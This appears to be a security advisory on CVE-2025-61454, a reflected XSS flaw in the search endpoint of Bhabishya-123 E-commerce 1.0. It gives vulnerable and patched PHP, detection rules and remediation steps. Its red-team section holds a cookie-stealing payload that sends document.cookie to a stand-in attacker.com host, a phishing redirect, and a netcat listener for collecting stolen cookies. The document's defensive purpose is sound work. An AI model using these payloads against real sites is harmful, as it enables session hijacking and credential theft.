CVE-2025-61454

Executive Summary

CVE-2025-61454 is a reflected Cross-Site Scripting (XSS) vulnerability in the Bhabishya-123 E-commerce application version 1.0. The flaw exists in the /search endpoint, where user-supplied input is directly reflected into the HTML response without proper sanitization or encoding. An attacker can craft a malicious URL containing JavaScript payloads; when a victim visits this link, the script executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a custom PHP/HTML application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – potential to steal session tokens.
• Integrity Impact: Low (I:L) – ability to modify page content.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the impact can be severe if an admin or privileged user is targeted.

Deep Dive & Mechanics

The vulnerability resides in the search functionality of the E-commerce application. When a user submits a search query via the /search endpoint, the application takes the q parameter value and embeds it directly into the HTML response without any sanitization, encoding, or escaping. For example, a request like:

/search?q=<script>alert('XSS')</script>

Will result in the server returning HTML that includes the script tag verbatim. The browser then interprets and executes the injected JavaScript.

The root cause is the lack of output encoding. The application likely uses a simple echo $_GET['q'] or similar construct without applying htmlspecialchars() or equivalent functions. This is a classic reflected XSS pattern.

Vulnerable vs. Patched Code

Vulnerable Code (PHP example):

<?php
$search = $_GET['q'];
echo "<div>Search results for: " . $search . "</div>";
?>

Patched Code (PHP example):

<?php
$search = $_GET['q'];
$safe_search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: " . $safe_search . "</div>";
?>

The patched version uses htmlspecialchars() to convert special HTML characters (<, >, ", ', &) into their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

1. Basic Alert: <script>alert('XSS')</script>

   • URL: http://target.com/search?q=<script>alert('XSS')</script>

2. Session Hijacking (Cookie Stealing):

   <script>
   var img = new Image();
   img.src = "http://attacker.com/steal?cookie=" + document.cookie;
   </script>
   

   • URL: http://target.com/search?q=<script>var img=new Image();img.src="http://attacker.com/steal?cookie="+document.cookie;</script>

3. Phishing Redirection:

   <script>window.location="http://phishing-site.com"</script>
   

Lab Setup:

1. Deploy a local instance of Bhabishya-123 E-commerce 1.0 (e.g., using XAMPP or Docker).
2. Use a browser or tool like Burp Suite to craft the malicious URL.
3. Set up a listener (e.g., nc -lvnp 80 or a simple Python HTTP server) to capture exfiltrated cookies.

Blue Team

Detection Steps:

1. Monitor Web Logs: Look for requests to /search containing <script>, onerror=, javascript:, or other XSS patterns.
2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block reflected XSS payloads.
3. Input Validation: Implement server-side validation to reject or sanitize input containing HTML/JavaScript.
4. Content Security Policy (CSP): Add a strict CSP header to mitigate impact:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /search with q parameter containing <script>, onerror, javascript:, or base64-encoded payloads.
  • Outbound connections to attacker-controlled domains from the victim's browser (e.g., http://attacker.com/steal?cookie=...).
• Host IOCs:
  • Web server logs showing unusual q parameter values.
  • Browser console errors or unexpected redirects.
• File IOCs:
  • No specific file-based IOCs for this reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2025_61454_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2025-61454 in Bhabishya-123 E-commerce"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-61454"
    strings:
        $xss_pattern1 = /\/search\?q=.*<script/i
        $xss_pattern2 = /\/search\?q=.*onerror/i
        $xss_pattern3 = /\/search\?q=.*javascript:/i
        $xss_pattern4 = /\/search\?q=.*%3Cscript/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on /search Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /search with XSS payloads in the q parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/search?q='
        cs-uri-query|re:
            - '.*<script.*'
            - '.*onerror.*'
            - '.*javascript:.*'
            - '.*%3Cscript.*'
    condition: selection
falsepositives:
    - Legitimate search queries containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61454 Reflected XSS Attempt"; flow:to_server,established; content:"/search?q="; http_uri; pcre:"/<script|onerror|javascript:/iR"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Apply htmlspecialchars() or equivalent to all user input before reflecting it in HTML.
2. Output Encoding: Ensure all dynamic content is properly encoded for the context (HTML, JavaScript, URL).
3. WAF Rules: Deploy virtual patching via WAF to block known XSS patterns.
4. CSP Header: Implement a strict Content Security Policy to limit script execution.

Long-Term Fix:

• The vendor must release a patched version that sanitizes the q parameter. Until then, consider replacing the search functionality with a secure implementation or using a third-party search service.

Workaround:

• Disable the search feature if not critical, or restrict access to the /search endpoint via .htaccess or firewall rules.

Valters IT